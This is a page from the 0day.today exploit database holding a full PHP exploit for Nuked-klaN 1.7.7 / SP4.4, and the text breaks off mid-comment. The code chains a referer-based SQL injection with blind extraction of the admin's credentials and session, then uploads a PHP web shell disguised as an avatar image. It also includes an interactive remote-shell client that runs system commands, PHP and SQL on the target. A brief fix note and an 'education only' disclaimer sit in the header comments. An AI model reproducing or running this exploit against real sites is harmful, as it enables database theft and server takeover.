0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Nuked-klaN <= 1.7.7 / <= SP4.4 Multiple Vulnerabilities Exploit
=============================================================== Nuked-klaN <= 1.7.7 / <= SP4.4 Multiple Vulnerabilities Exploit =============================================================== <?php # # Name: Nuked-klaN <= 1.7.7 and <= SP4.4 Multiple Vulnerabilities Exploit # Credits: Charles FOL # Date: 14/10/2008 # # Special thanks to Louis for remembering me I had to finish it =) # # VULNERABILITY DETAILS # --------------------- # # Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not # correctly filtered before being inserted in nuked_stats_visitor table. # # If HTTP headers are not addslashes()'d by PHP, it could lead to a INSERT # SQL injection. # # In function view_referer() (visits.php), referers are extracted from the # database to perform an other SQL query, without being secured in between. # This leads to a blind SQL injection. # # Theses injections are only possible if Nuked-klaN (NK) considers us as a # new user, because else it won't touch the nuked_stats_visitor table. # For this, we can use X-Forwarded-For HTTP header to specify NK a new IP, # to be considered as a new user, and therefore access the database. # NK automaticaly tries to resolve our host (using gethostbyaddr()), and it # could be very long if the IP is not corresponding to a real one, because # the default timeout is ~3 seconds, and that's very unconvenient for blind # SQL injection. # In order to solve this, we can try to generate IPs that might be valid, # using, for example, a known BASE (the first two numbers), and randomizing # the two other numbers. # # Stats can be disabled, or not accessible for users or visitors. # In the last case we can't get query results, so the unique way to inject # is BENCHMARK method, but this implies that the headers are not addslashed # by PHP, but this method is not implemented in this exploit. # # If we got an admin session or login, we can spawn a remote shell/uploader # using the NK "MySQL administration", but PHP safe_mode must be disabled. # # This exploit uses all these vulnerabilities to spawn a shell/uploader or # to simply obtain admin credentials. # # EXPLOIT MAP # ----------- # # (ERRORS ARE THIS WAY ->) # # +---------------------------+ # | Check stats accessibility |->exit() # +---------------------------+ # | # | +---------------------------------+ +-----------------------------------------------+ # +->| Spoof referer to corrupt INSERT |->| Spoof referer to corrupt view_referer() query |->exit() # | query and look for results | | (blind sql injection) | # +---------------------------------+ +-----------------------------------------------+ # | | # | +--------------------------+ | +---------------------------------------------+ # +->| Did we find an admin SID |<-----+ | We only have a login and a hashed password, | # | or not ? |------->| we have to crack it and use -admin | # +--------------------------+ +---------------------------------------------+ # | # | +-------------------------------------------------+ # +->| Login as admin and spawn an uploader or a shell | # | using "MySQL administration" | # +-------------------------------------------------+ # # SOLUTION # -------- # The best way to secure your Nuked-klaN is disabling stats using the admin # panel. # If you wan't to keep stats activated, you have to addslashes HTTP_REFERER # in nuked.php and in visits.php. # # # THIS IS FOR EDUCATION PURPOSES ONLY, as usual. # error_reporting(E_ALL ^ E_NOTICE); define('MSG_INFO', 1); define('MSG_OKAY', 2); define('MSG_ERROR', 3); define('MSG_QUESTION', 4); define('AGENT', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16'); define('IPBASE', '82.237.'); define('UPCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {$h=fopen(\'w00t.php\', \'w+\');if(!$h || fputs($h, \'<file>\')) exit(\'--NOTDONE--\');fclose($h);exit(\'--DONE--\');}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>'); define('SHCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {print 123456789;eval($_SERVER[\'HTTP_SHELL\']);print 123456789;exit();}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>'); $nk = new nk(); class nk { var $proxy; var $user; var $admin; var $suser; var $sadmin; var $mode; var $url; var $year; var $ips = array(); var $queries; var $www; function nk() { $this->header(); $this->usage(); $this->setParameters(); $this->controlParameters(); $this->main(); } function close() { $this->msg(); exit(0); } # Main function, what and when. function main() { # Admin login not specified if(!$this->sadmin) { $this->setQueries(0); $this->checkStatsAccessibility(); $this->sendInsertQuery(); # Got the credentials =) if($this->getCredentials()) { $this->dumpCredentials(); } elseif($this->blindQueries()) { if($this->mode != 2 && !$this->admin['sid']) { $this->msg('There is no active admin session, try with "-mode 2"', MSG_ERROR); exit(); } $this->file = str_replace('$_SERVER[\'HTTP_SHELL\']', 'stripslashes($_SERVER[\'HTTP_SHELL\'])', $this->file); } # No attack worked else { $this->msg('Exploit failed, stats might be disabled.', MSG_ERROR); exit(); } } $this->makeadmin(); $this->conclude(); } # Define queries in function of the current mode function setQueries($mode) { $this->queries = array(); if(!$mode) { # User queries $this->queries['name'] = 'SELECT pseudo FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1'; $this->queries['password'] = 'SELECT pass FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1'; # Session queries if($this->mode != 2) { $this->queries['uid'] = 'SELECT id FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1'; $this->queries['sid'] = 'SELECT id FROM <prefix>sessions WHERE user_id=(SELECT id FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1) ORDER BY DATE DESC LIMIT 1'; } } else { list($day, $month, $year) = explode(':', date('d:m:Y')); $this->queries[] = 'ALTER TABLE <prefix>block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;'; $this->queries[] = 'UPDATE <prefix>block SET type=0x2f2e2e2f2e2e2f2e2e2f<filename>00 WHERE type=0x6c6f67696e OR type LIKE 0x252f2e2e25 AND active!=0 LIMIT 1;'; $this->queries[] = 'DELETE FROM <prefix>stats_visitor WHERE (day=' . $day . ' AND month=' . $month . ' AND year=' . $year . ') OR year=' . $this->year . ' OR year=0;'; } # Set the SQL prefix foreach($this->queries as $k => $v) $this->queries[$k] = str_replace('<prefix>', $this->sprefix, $v); } # Informs of the stats accessibility function checkStatsAccessibility() { $this->msg('Checking statistics accessibility ...', MSG_INFO, false); $accessibility = $this->areStatsReachable(); if($accessibility == 1) { $this->msg('Statistics are reachable, but require authentification', MSG_OKAY); if(!$this->suser) { $this->msg('Please create an user and specify it using -user parameter', MSG_ERROR); exit(); } else { $this->makeuser(); } } elseif($accessibility == 0) { $this->msg('Statistics are reachable as a visitor', MSG_OKAY); } else { $this->msg('Statistics are NOT reachable or activated', MSG_ERROR); exit(); } } # Determine if stats are accessible, and under which conditions function areStatsReachable() { $this->wwwinit(0); $this->www->addheader('Referer', 'http://test.com/'); $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer'); if(preg_match('#<a href="javascript:history.back\(\)"><b>[^<]+</b>#i', $this->www->getcontent())) return -1; if(preg_match('#<a href="index.php\?file=User&op=login_screen">[^<]+</a>#i', $this->www->getcontent())) return 1; if(!preg_match('#http://test\.com/#i', $this->www->getcontent())) return -1; return 0; } # Send the spoofed referer in order to insert interresting # informations in the nuked_stats_visitors table function sendInsertQuery() { $time = time()+60; $this->msg('Sending INSERT query ...', MSG_INFO, false); # End the first row $sql = "http://google.com/', '', '', '', '', '0'), "; # For each query, a new row foreach($this->queries as $key => $query) { $sql .= "('', '', '0.0.0.0', 'attack', 'Mozilla', 'Windows', CONCAT('<!--:$key:', ($query), ':-->'), '1', '1', '" .$this->year . "', '1', '$time'), "; } # End this with the beginning of a row, to have a valid SQL query $sql .= "('', '', '', '', '', '', '"; # Let's send it $this->wwwinit(0); $this->www->addheader('Referer', $sql); $this->www->get($this->url); $this->msg('Sent INSERT query ', MSG_OKAY); } # Get insert query result in stats page, credentials function getCredentials() { $this->admin = array(); $this->msg('Retrieving credentials ...', MSG_INFO, false); $this->wwwinit(1); $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=' . $this->year); if(!preg_match_all('#<!--:([^ :]+):([^ ]*):-->#Ui', $this->www->getcontent(), $data)) { $this->msg('Unable to reach credentials', MSG_ERROR); return false; } for($i=0;$i<sizeof($data[0]);$i++) { $this->admin[$data[1][$i]] = $data[2][$i]; } $this->msg('Got the credentials =) ', MSG_OKAY); return true; } # Dump $this->user content function dumpCredentials() { $display = array ( 'User : ' => 'name', 'Password : ' => 'password', 'UserID : ' => 'uid', 'SessionID : ' => 'sid', ); foreach($display as $key => $value) if($this->admin[$value]) $this->msg($key . $this->admin[$value], MSG_OKAY); } # Here we are on the second attack: we have to blind, but only # critical information because it's pretty long function blindQueries() { $this->msg('Switching to blind mode, be (very) patient ...', MSG_INFO); if($this->mode != 2) { unset($this->queries['name']); unset($this->queries['password']); } foreach($this->queries as $key => $query) { $length = $key == 'password' ? 32 : 20; if($key == 'sid') { $query = str_replace ( '(' . $this->queries['uid'] . ')', "'" . $this->admin['uid'] . "'", $query ); } switch($key) { case 'name': $display = 'User : '; break; case 'password': $display = 'Password : '; break; case 'sid': $display = 'SessionID : '; break; case 'uid': $display = 'UserID : '; break; } $this->msg($display, MSG_QUESTION, false); if(!($this->admin[$key] = $this->blind($query, $length))) return true; $this->msg($display . $this->admin[$key], MSG_OKAY); } return true; } # SQL Blind function # Referer SQL field only supports 200 characters, # so we use a special sql injection to be sure it # will work fine and fast enought. # # 1. Charset # 2. Dichotomy # function blind($query, $nbchars) { $result = ''; for($p=1;$p<=$nbchars;$p++) { $letter = ''; $sql = "MID(($query),$p,1)"; if($this->blind_is($sql)) { if($this->blind_isChar($sql)) { if($this->blind_isMaj($sql)) $charset = array(ord('A'), ord('Z')); else $charset = array(ord('a'), ord('z')); } else $charset = array(ord('0'), ord('9')); } else break; $add = $charset[0]; for($pos=$charset[1]-$charset[0];$pos>2;$pos=intval($pos/2+0.5)) { $s = 'ORD(' . $sql . ') BETWEEN ' . $add . ' AND ' . ($add+$pos); if(!$this->blind_test($s)) $add += $pos; } $letter = ''; for($i=$add;$i<=$add+$pos+1;$i++) { $s = 'ORD(' . $sql . ')=' . $i; if($this->blind_test($s)) { $letter = chr($i); break; } } $result .= $letter; print $letter; } return $result; } function blind_is($sql) { return $this->blind_test("ORD($sql)!=0"); } function blind_isChar($query) { return $this->blind_test("UPPER($query) BETWEEN 'A' AND 'Z'"); } function blind_isMaj($query) { return $this->blind_test("ORD($query) BETWEEN 65 AND 90"); } # Return true or false depending on the page result, before # setting up PHPsploit and the referer function blind_test($sql) { $site = $this->generateIP(); $when = '&oday=' . date('d') . '&omonth=' . date('m') . '&oyear=' . date('Y'); $this->wwwinit(0); $this->www->addheader('Referer', $this->year . $site . "' OR 1=1 AND $sql AND 'A'='A"); # If we have to be user to reach stats if(sizeof($this->user)) { $this->www->get($this->url . 'index.php'); $this->wwwinit(1); } $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer' . $when); if(preg_match('#' . $this->year . $site . '[^<]+</a></td>\s+<td style="width: 20%;" align="center">([0-9]*)#i', $this->www->getcontent(), $data)) { if($data[1] > 0) return true; } else { $this->msg('Error while blinding.', MSG_ERROR); exit(); } } # Set up the admin function makeadmin() { # The current user is now the admin $this->user = $this->admin; # Determine if we have a session or just a name if($this->mode == 2) { exit(); } elseif($this->sadmin) { $this->suser = $this->sadmin; $this->makeuser(); } elseif($this->user['sid'] && $this->user['uid']) { $this->msg('Got a session, no login required', MSG_OKAY); } elseif($this->user['name'] && $this->user['password']) { $this->msg('Please crack the admin hash, and use -admin parameter', MSG_ERROR); exit(); } else { $this->msg('How did you get there ?', MSG_ERROR); exit(); } $this->user['aid'] = $this->user['uid']; $this->user['ip'] = '127.0.0.1'; $this->msg('Administrator status OK =)', MSG_OKAY); } # Conclude the attack: spawn a shell or an uploader function conclude() { # Initialise PHPsploit for the last time $this->wwwinit(1); $this->www->addheader('Referer', $this->url); # Actualize the queries $this->setQueries(1); $this->uploadavatar(); $this->sendqueries(); $this->loadshell(); } function uploadavatar() { $this->msg('Uploading avatar ...', MSG_INFO, false); $fmdt = array ( 'frmdt_url' => $this->url . 'index.php?file=User&op=update_pref', 'fichiernom' => array ( 'frmdt_filename' => 'one.jpg', 'frmdt_content' => $this->file, ) ); $this->www->formdata($fmdt); $this->www->get($this->url . 'index.php?file=User&op=edit_pref'); if(!preg_match('#value="([^"]+\.jpg)"#U', $this->www->getcontent(), $match)) { $this->msg('Error while uploading avatar', MSG_ERROR); exit(); } $this->msg('Avatar successfully uploaded (' . basename($match[1]) . ')', MSG_OKAY); $match = unpack('H*', $match[1]); $this->queries[1] = str_replace('<filename>', $match[1], $this->queries[1]); } function sendqueries() { $this->msg('Sending SQL queries ', MSG_INFO, false); foreach($this->queries as $query) { $this->www->post($this->url . 'index.php?file=Admin&page=mysql&op=upgrade_db', 'upgrade=' . $query); $this->msg('.', 0, false); } $this->msg('SQL queries sent ', MSG_OKAY); } function loadshell() { if($this->mode == 0) { $this->www->addheader('Shell', '1'); $this->www->get($this->url); if(strpos('--DONE--', $this->www->getcontent())) $this->msg('File created. URL: ' . $this->url . 'w00t.php', MSG_OKAY); else { # possible causes: safe_mode, open_basedir, file restrictions ... $this->msg('File was not created', MSG_ERROR); } } else { $this->msg('Shell spawned', MSG_OKAY); $this->msg(); $sql = array('conf.inc.php', '$global[\'db_host\']', '$global[\'db_user\']', '$global[\'db_password\']', '$global[\'db_name\']'); new phpreter($this->url . 'index.php', '123456789(.*)123456789', 'cmd', $sql, false); } } # Login as a specified user, and obtain a $uid and a $sid function createSession($user, $passwd, &$uid, &$sid) { $this->wwwinit(0); $this->www->addheader('Referer', $this->url . 'index.php'); $this->www->post($this->url . 'index.php?file=User&nuked_nude=index&op=login', "pseudo=$user&pass=$passwd&remember_me=ok"); preg_match('#nuked_sess_id=([a-z0-9]+)#i', $this->www->getheader(), $sid); preg_match('#uid=([a-z0-9]+)#i', $this->www->getcontent(), $uid); $sid = $sid[1]; $uid = $uid[1]; if($uid && $sid) return true; return false; } # Login user and set his informations function makeuser() { list($user, $passwd) = explode(':', $this->suser); $this->user = array(); $this->msg('Logging in as ' . $user, MSG_INFO, false); if($this->createSession($user, $passwd, $uid, $sid)) { $this->user['name'] = $user; $this->user['password'] = $passwd; $this->user['uid'] = $uid; $this->user['sid'] = $sid; $this->user['ip'] = $this->generateIP(); $this->msg('Loggued in as ' . $user . ' (uid=' . $uid . ')', MSG_OKAY); } else { $this->msg('Unable to log in as ' . $user, MSG_ERROR); exit(); } } # Initialize PHPsploit (with a new identity) function wwwinit($mode) { $this->www->reset(); $this->www->agent(AGENT); if($mode && sizeof($this->user)) $this->wwwuser(); else $this->www->addheader('X-Forwarded-For', $this->generateIP()); } # Set user cookies and headers function wwwuser() { $cookies = array(); if($this->user['uid']) $cookies['user_id'] = $this->user['uid']; if($this->user['sid']) $cookies['sess_id'] = $this->user['sid']; if($this->user['aid']) $cookies['admin_session'] = $this->user['aid']; foreach($cookies as $k => $v) $this->www->addcookie($this->cprefix . $k, $v); // yes it's not a cookie $this->www->addheader('X-Forwarded-For', $this->user['ip']); } # Make an IP which can be gethostbyaddr()'ed, for speed # reasons function generateIP() { do { $ip = IPBASE . rand(1, 20) . '.' . rand(1, 250); } while(in_array($ip, $this->ips)); $this->ips[] = $ip; return $ip; } function msg($msg = '', $type = 0, $n = true) { $display = $n ? "\r" : ''; switch($type) { case MSG_INFO: $display .= '[*] '; break; case MSG_OKAY: $display .= '[+] '; break; case MSG_ERROR: $display .= '[-] '; break; case MSG_QUESTION: $display .= '[?] '; break; } $display .= $msg; $display .= $n ? "\n" : ''; print $display; } function header() { $this->msg(); $this->msg(' Nuked-klaN 1.7.7 and SP4.4 Multiple Vulnerabilities Exploit'); $this->msg(' by Charles FOL <charlesfol[at]hotmail.fr>'); $this->msg(); } function usage() { global $argc; if($argc<3) { $this->msg(' usage: ./nk_exploit.php -url <url> [options]'); $this->msg(); $this->msg(' Options: -mode 0: Remote Upload (default)'); $this->msg(' 1: Remote Code Execution'); $this->msg(' 2: Admin Hash Extraction'); $this->msg(' -admin If you have an admin account.'); $this->msg(' -user If stats page need registration.'); $this->msg(' -proxy If you want to use a proxy.'); $this->msg(' -cprefix Cookie prefix (default: nuked_).'); $this->msg(' -sprefix SQL prefix (default: nuked_).'); $this->msg(' -file If you wanna upload a specific file'); $this->msg(' else it will upload a simple uploader.'); $this->msg(); $this->msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd'); $this->msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118'); $this->close(); } } function setParameters() { $this->www = new phpsploit(); $this->year = rand(1000, 1500); $this->url = $this->getParameter('url', true); $this->mode = $this->getParameter('mode', false, 0); $this->suser = $this->getParameter('user', false); $this->sadmin = $this->getParameter('admin', false); $this->proxy = $this->getParameter('proxy', false); $this->cprefix = $this->getParameter('cprefix', false, 'nuked_'); $this->sprefix = $this->getParameter('sprefix', false, 'nuked_'); $this->file = $this->getParameter('file', false); } function controlParameters() { if($this->mode == 0) { if($this->file) $this->file = file_get_contents($this->file); else $this->file = '<?php if(isset($_GET[\'del\'])){unlink(basename($_SERVER[\'PHP_SELF\']));exit();} if' . '(isset($_POST[\'upload\'])){if(!move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], ' . '"./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\'' . ']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" e' . 'nctype="multipart/form-data"><center><input type="file" name="file"><input type="sub' . 'mit" name="upload" value="Upload"></center></form>'; $this->file = str_replace('<file>', str_replace("'", "\'", $this->file), UPCODE); } else $this->file = SHCODE; if($this->proxy) $this->www->proxy($this->proxy); } function getParameter($parameter, $required = false, $default = '') { global $argv, $argc; for($i=0;$i<$argc;$i++) { if($argv[$i] == '-' . $parameter) return $argv[$i+1]; } if($required) { $this->msg('-' . $parameter . ' parameter is required.', MSG_ERROR); $this->close(); } return $default; } } # PHPreter (a bit modified). # Find original version on http://real.o-n.fr/ /* * Copyright (c) Charles FOL * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * TITLE: PHPreter * AUTHOR: Charles FOL <charlesfol[at]hotmail.fr> * VERSION: 1.0 * LICENSE: GNU General Public License * * This is a really simple class with permits to exec SQL, PHP or CMD * on a remote host using the HTTP "Shell" header. * * * Sample code: * [host][sql]# mode=cmd * [host][cmd]# id * uid=2176(u47170584) gid=600(ftpusers) * * [host][cmd]# mode=php * [host][php]# echo phpversion(); * 4.4.8 * [host][php]# mode=sql * [host][sql]# SELECT version(), user() * -------------------------------------------------- * version() | 5.0.51a-log * user() | dbo225004932@74.208.16.148 * -------------------------------------------------- * * [host][sql]# * */ class phpreter { var $url; var $host; var $port; var $page; var $mode; var $ssql; var $prompt; var $phost; var $regex; var $data; /** * __construct() * * @param url The url of the remote shell. * @param regexp The regex to catch cmd result. * @param mode Mode: php, sql or cmd. * @param sql An array with the file to include, * and sql vars * @param clear Determines if clear() is called * on startup */ function phpreter($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true) { $this->url = $url; $this->regex = '#'.$regexp.'#is'; # # Set data # $infos = parse_url($this->url); $this->host = $infos['host']; $this->port = isset($infos['port']) ? $infos['port'] : 80; $this->page = $infos['path']; # www.(site).com $host_tmp = explode('.',$this->host); $this->phost = $host_tmp[ count($host_tmp)-2 ]; # # Set up MySQL connection string # if(!sizeof($sql)) $this->ssql = ''; elseif(sizeof($sql) == 5) { $this->ssql = "include('$sql[0]');" . "mysql_connect($sql[1], $sql[2], $sql[3]);" . "mysql_select_db($sql[4]);"; } else { $this->ssql = "" . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');" . "mysql_select_db('$sql[3]');"; } $this->setmode($mode); # # Main Loop # if($clear) $this->clear(); print $this->prompt; while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) ) { # change mode if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array)) $this->setmode($array[3]); # clear data elseif(preg_match('#^clear$#i',$cmd)) $this->clear(); # else else print $this->exec($cmd); print $this->prompt; } } /** * clear() * Just clears ouput, printing '\n'x50 */ function clear() { print str_repeat("\n", 50); return 0; } /** * setmode() * Set mode (PHP, CMD, SQL) * You don't have to call it. * use mode=[php|cmd|sql] instead, * in the prompt. */ function setmode($newmode) { $this->mode = strtolower($newmode); $this->prompt = '['.$this->phost.']['.$this->mode.']# '; switch($this->mode) { case 'cmd': $this->data = 'system(\'<CMD>\');'; break; case 'php': $this->data = ''; break; case 'sql': $this->data = $this->ssql . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");' . 'print str_repeat("-",50)."\n";' . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))' . '{' . 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";' . 'print str_repeat("-",50)."\n";' . '}'; break; } return $this->mode; } /** * exec() * Execute any query and catch the result. * You don't have to call it. */ function exec($cmd) { if(!strlen($this->data)) $shell = $cmd; else $shell = str_replace('<CMD>', addslashes($cmd), $this->data); $fp = fsockopen($this->host, $this->port, $errno, $errstr, 30); $req = "GET " . $this->page . " HTTP/1.1\r\n"; $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n"; $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n"; $req .= "X-Forwarded-For: 127.0.0.1\r\n"; // here is the mod. $req .= "Shell: $shell\r\n"; $req .= "Connection: close\r\n\r\n"; fputs($fp, $req); $content = ''; while(!feof($fp)) $content .= fgets($fp, 128); fclose($fp); # Remove headers $data = explode("\r\n\r\n", $content); $headers = array_shift($data); $content = implode("\r\n\r\n", $data); if(preg_match("#Transfer-Encoding:.*chunked#i", $headers)) $content = $this->unchunk($content); preg_match($this->regex, $content, $data); if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n"; return $data[1]; } /** * unchunk() * This function aims to remove chunked content's sizes which * are put by the apache server when it uses chunked * transfert-encoding. */ function unchunk($data) { $dsize = 1; $offset = 0; while($dsize>0) { $hsize_size = strpos($data, "\r\n", $offset) - $offset; $dsize = hexdec(substr($data, $offset, $hsize_size)); # Remove $hsize\r\n from $data $data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) ); $offset += $dsize; # Remove the \r\n before the next $hsize $data = substr($data, 0, $offset) . substr($data, ($offset+2) ); } return $data; } } # PHPsploitClass /* * * Copyright (C) darkfig * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * TITLE: PhpSploit Class * REQUIREMENTS: PHP 4 / PHP 5 * VERSION: 2.0 * LICENSE: GNU General Public License * ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt * FILENAME: phpsploitclass.php * * CONTACT: gmdarkfig@gmail.com (french / english) * GREETZ: Sparah, Ddx39 * * DESCRIPTION: * The phpsploit is a class implementing a web user agent. * You can add cookies, headers, use a proxy server with (or without) a * basic authentification. It supports the GET and the POST method. It can * also be used like a browser with the cookiejar() function (which allow * a server to add several cookies for the next requests) and the * allowredirection() function (which allow the script to follow all * redirections sent by the server). It can return the content (or the * headers) of the request. Others useful functions can be used for debugging. * A manual is actually in development but to know how to use it, you can * read the comments. * * CHANGELOG: * * [2007-06-10] (2.0) * * Code: Code optimization * * New: Compatible with PHP 4 by default * * [2007-01-24] (1.2) * * Bug #2 fixed: Problem concerning the getcookie() function ((|;)) * * New: multipart/form-data enctype is now supported * * [2006-12-31] (1.1) * * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug) * * New: You can now call the getheader() / getcontent() function without parameters * * [2006-12-30] (1.0) * * First version * */ class phpsploit { var $proxyhost; var $proxyport; var $host; var $path; var $port; var $method; var $url; var $packet; var $proxyuser; var $proxypass; var $header; var $cookie; var $data; var $boundary; var $allowredirection; var $last_redirection; var $cookiejar; var $recv; var $cookie_str; var $header_str; var $server_content; var $server_header; /** * This function is called by the * get()/post()/formdata() functions. * You don't have to call it, this is * the main function. * * @access private * @return string $this->recv ServerResponse * */ function sock() { if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = @fsockopen($this->proxyhost,$this->proxyport); else $socket = @fsockopen($this->host,$this->port); if(!$socket) die("Error: Host seems down"); if($this->method=='get') $this->packet = 'GET '.$this->url." HTTP/1.1\r\n"; elseif($this->method=='post' or $this->method=='formdata') $this->packet = 'POST '.$this->url." HTTP/1.1\r\n"; else die("Error: Invalid method"); if(!empty($this->proxyuser)) $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n"; if(!empty($this->header)) $this->packet .= $this->showheader(); if(!empty($this->cookie)) $this->packet .= 'Cookie: '.$this->showcookie()."\r\n"; $this->packet .= 'Host: '.$this->host."\r\n"; $this->packet .= "Connection: Close\r\n"; if($this->method=='post') { $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n"; $this->packet .= $this->data."\r\n"; } elseif($this->method=='formdata') { $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n"; $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n"; $this->packet .= $this->data; } $this->packet .= "\r\n"; $this->recv = ''; fputs($socket,$this->packet); while(!feof($socket)) $this->recv .= fgets($socket); fclose($socket); if($this->cookiejar) $this->getcookie(); if($this->allowredirection) return $this->getredirection(); else return $this->recv; } /** * This function allows you to add several * cookies in the request. * * @access public * @param string cookn CookieName * @param string cookv CookieValue * @example $this->addcookie('name','value') * */ function addcookie($cookn,$cookv) { if(!isset($this->cookie)) $this->cookie = array(); $this->cookie[$cookn] = $cookv; } /** * This function allows you to add several * headers in the request. * * @access public * @param string headern HeaderName * @param string headervalue Headervalue * @example $this->addheader('Client-IP', '128.5.2.3') * */ function addheader($headern,$headervalue) { if(!isset($this->header)) $this->header = array(); $this->header[$headern] = $headervalue; } /** * This function allows you to use an * http proxy server. Several methods * are supported. * * @access public * @param string proxy ProxyHost * @param integer proxyp ProxyPort * @example $this->proxy('localhost',8118) * @example $this->proxy('localhost:8118') * */ function proxy($proxy,$proxyp='') { if(empty($proxyp)) { $proxarr = explode(':',$proxy); $this->proxyhost = $proxarr[0]; $this->proxyport = (int)$proxarr[1]; } else { $this->proxyhost = $proxy; $this->proxyport = (int)$proxyp; } if($this->proxyport > 65535) die("Error: Invalid port number"); } /** * This function allows you to use an * http proxy server which requires a * basic authentification. Several * methods are supported: * * @access public * @param string proxyauth ProxyUser * @param string proxypass ProxyPass * @example $this->proxyauth('user','pwd') * @example $this->proxyauth('user:pwd'); * */ function proxyauth($proxyauth,$proxypass='') { if(empty($proxypass)) { $posvirg = strpos($proxyauth,':'); $this->proxyuser = substr($proxyauth,0,$posvirg); $this->proxypass = substr($proxyauth,$posvirg+1); } else { $this->proxyuser = $proxyauth; $this->proxypass = $proxypass; } } /** * This function allows you to set * the 'User-Agent' header. * * @access public * @param string useragent Agent * @example $this->agent('Firefox') * */ function agent($useragent) { $this->addheader('User-Agent',$useragent); } /** * This function returns the headers * which will be in the next request. * * @access public * @return string $this->header_str Headers * @example $this->showheader() * */ function showheader() { $this->header_str = ''; if(!isset($this->header)) return; foreach($this->header as $name => $value) $this->header_str .= $name.': '.$value."\r\n"; return $this->header_str; } /** * This function returns the cookies * which will be in the next request. * * @access public * @return string $this->cookie_str Cookies * @example $this->showcookie() * */ function showcookie() { $this->cookie_str = ''; if(!isset($this->cookie)) return; foreach($this->cookie as $name => $value) $this->cookie_str .= $name.'='.$value.'; '; return $this->cookie_str; } /** * This function returns the last * formed http request. * * @access public * @return string $this->packet HttpPacket * @example $this->showlastrequest() * */ function showlastrequest() { if(!isset($this->packet)) return; else return $this->packet; } /** * This function sends the formed * http packet with the GET method. * * @access public * @param string url Url * @return string $this->sock() * @example $this->get('localhost/index.php?var=x') * @example $this->get('http://localhost:88/tst.php') * */ function get($url) { $this->target($url); $this->method = 'get'; return $this->sock(); } /** * This function sends the formed * http packet with the POST method. * * @access public * @param string url Url * @param string data PostData * @return string $this->sock() * @example $this->post('http://localhost/','helo=x') * */ function post($url,$data) { $this->target($url); $this->method = 'post'; $this->data = $data; return $this->sock(); } /** * 